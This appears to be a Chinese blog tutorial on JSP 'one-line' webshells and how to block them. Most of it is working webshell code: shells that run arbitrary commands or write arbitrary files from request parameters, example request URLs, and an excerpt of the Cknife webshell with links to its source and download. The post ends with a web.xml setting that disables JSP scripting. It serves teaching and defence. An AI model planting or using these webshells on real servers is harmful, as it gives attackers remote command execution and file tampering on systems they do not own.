网络安全

JSP 一句话木马与防范

2018-01-09  本文已影响2876人  菩提树下成魔

0x01 前言

  一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。

0x02 一句话木马样本举例

一、样本一

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

  Runtime 类封装了运行时的环境。每个 Java 应用程序都有一个 Runtime 类实例,使应用程序能够与其运行的环境相连接。使用 getRuntime() 构建 Runtime 类实例。 getRuntime() 返回与当前 Java 应用程序相关的运行时对象。获取实例后调用 exec() 方法执行系统命令。

  request 为 JSP 内置对象,getParameter() 方法获取请求参数 cmd的值构建命令 。

请求URL:http://127.0.0.1/shell.jsp?cmd=calc

二、样本二

<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>一句话木马</title>
    </head>

    <body>
        <%
        if ("admin".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("<pre>");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("</pre>");
        }
    %>
    </body>

</html>

  原理与样本一相同, inputStream() 方法获取命令回显输出到前端页面中。

请求URL:http://127.0.0.1/shell.jsp?pwd=admin&cmd=calc

三、样本三

<%
    // ISO-8859-1 输入
    new java.io.FileOutputStream(request.getParameter("file")).write(request.getParameter("content").getBytes());
    // UTF-8 输入
    new java.io.FileOutputStream(request.getParameter("file")).write(new String(request.getParameter("content").getBytes("ISO-8859-1"), "UTF-8").getBytes());
    // Web 目录写入
    new java.io.FileOutputStream(application.getRealPath("/") + "/" + request.getParameter("filename")).write(request.getParameter("content").getBytes());
    // 功能更加丰富的写入
    new java.io.RandomAccessFile(request.getParameter("file"),"rw").write(request.getParameter("content").getBytes());
%>

  new FileOutputStream(name, append) 调用 FileOutputStream 类构造函数创建文件,并写入内容。file 参数为文件全限定名,filename 为文件名,content 为文本内容。

// ISO-8859-1 输入
请求URL:http://127.0.0.1/input.jsp?file=D:/test.txt&content=test
// UTF-8 输入
请求URL:http://127.0.0.1/input.jsp?file=D:/test.txt&content=测试内容
// Web 目录写入
请求URL:http://127.0.0.1/input.jsp?filename=test.txt&content=test
// 功能更加丰富的写入
请求URL:http://127.0.0.1/input.jsp?file=D:/test.txt&content=test

四、反射调用外部 Jar 包

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
    String Pwd = "Cknife";
    String cs = "UTF-8";

    String EC(String s) throws Exception {
        return new String(s.getBytes("ISO-8859-1"),cs);
    }

    Connection GC(String s) throws Exception {
        String[] x = s.trim().split("choraheiheihei");
        Class.forName(x[0].trim());
        if(x[1].indexOf("jdbc:oracle")!=-1){
            return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
        }else{
            Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
            if (x.length > 4) {
                c.setCatalog(x[4]);
            }
            return c;
        }
    }

    void AA(StringBuffer sb) throws Exception {
        File k = new File("");
        File r[] = k.listRoots();
        for (int i = 0; i < r.length; i++) {
            sb.append(r[i].toString().substring(0, 2));
        }
    }

    // 省略部分代码,详情访问:
    // 源码:https://github.com/Chora10/Cknife
    // 下载地址:http://pan.baidu.com/s/1nul1mpr  密码:f65g

        } catch (Exception e) {
            sb.append("ERROR" + ":// " + e.toString());
        }
        sb.append("|" + "<-");
        out.print(sb.toString());
    }
%>

0x03 防范方法

  前提条件:Java Web 应用没有在 JSP 中直接使用任何 Java 代码,否则会对应用本身造成影响。

<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jspx</url-pattern>
        <url-pattern>*.jsp</url-pattern>
        <scripting-invalid>true</scripting-invalid>
    </jsp-property-group>
</jsp-config>

  配置生效后,将不允许 Jsp / Jspx 文件中包含任何 scripting ,包括:

<%%> 与 <jsp:scriptlet></jsp:scriptlet>

<%!%> 与 <jsp:declaration></jsp:declaration>

<%=%> 与 <jsp:expression></jsp:expression>

  包括这些的 Jsp / Jspx 文件在编译的时候将产生编译错误。目前能看见的 Java 的 webshell 全都离不开这几种语法,所以应该可以说是能够禁止所有目前已知的 Java WebShell。

参考资料:http://mp.weixin.qq.com/s/-YSSINSZfthYVL1HKUovSg

上一篇 下一篇

猜你喜欢

热点阅读